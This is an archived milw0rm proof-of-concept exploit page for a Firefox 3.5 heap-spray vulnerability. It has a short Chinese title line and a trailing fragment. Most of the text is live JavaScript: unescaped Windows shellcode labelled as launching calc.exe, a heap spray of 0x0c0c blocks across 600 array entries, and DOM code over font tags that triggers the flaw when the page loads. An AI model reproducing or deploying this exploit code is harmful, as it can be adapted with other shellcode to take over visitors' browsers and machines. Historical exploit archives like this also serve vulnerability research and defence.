# 鬼仔：再推荐下NoScript
# milw0rm.com [2009-07-13]
<html> <head> <title>Firefox 3.5 Vulnerability</title> Firefox 3.5 Heap Spray Vulnerabilty </br> Author: SBerry aka Simon Berry-Byrne </br> Thanks to HD Moore for the insight and Metasploit for the payload <div id="content"> <p> <FONT> </FONT> </p> <p> <FONT>Loremipsumdoloregkuw</FONT></p> <p> <FONT>Loremipsumdoloregkuwiert</FONT> </p> <p> <FONT>Loremikdkw </FONT> </p> </div> <script language=JavaScript> /* Calc.exe */ var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); /* Heap Spray Code */ oneblock = unescape("%u0c0c%u0c0c"); var fullblock = oneblock; while (fullblock.length<0x60000) { fullblock += fullblock; } sprayContainer = new Array(); for (i=0; i<600; i++) { sprayContainer[i] = fullblock + shellcode; } var searchArray = new Array() function escapeData(data) { var i; var c; var escData=''; for(i=0;i<data.length;i++) { c=data.charAt(i); if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c); escData+=c; } return escData; } function DataTranslator(){ searchArray = new Array(); searchArray[0] = new Array(); searchArray[0]["str"] = "blah"; var newElement = document.getElementById("content") if (document.getElementsByTagName) { var i=0; pTags = newElement.getElementsByTagName("p") if (pTags.length > 0) while (i<pTags.length) { oTags = pTags[i].getElementsByTagName("font") searchArray[i+1] = new Array() if (oTags[0]) { searchArray[i+1]["str"] = oTags[0].innerHTML; } i++ } } } function GenerateHTML() { var html = ""; for (i=1;i<searchArray.length;i++) { html += escapeData(searchArray[i]["str"]) } } DataTranslator(); GenerateHTML() </script> </body> </html> <html><body></body></html>- 左青龙
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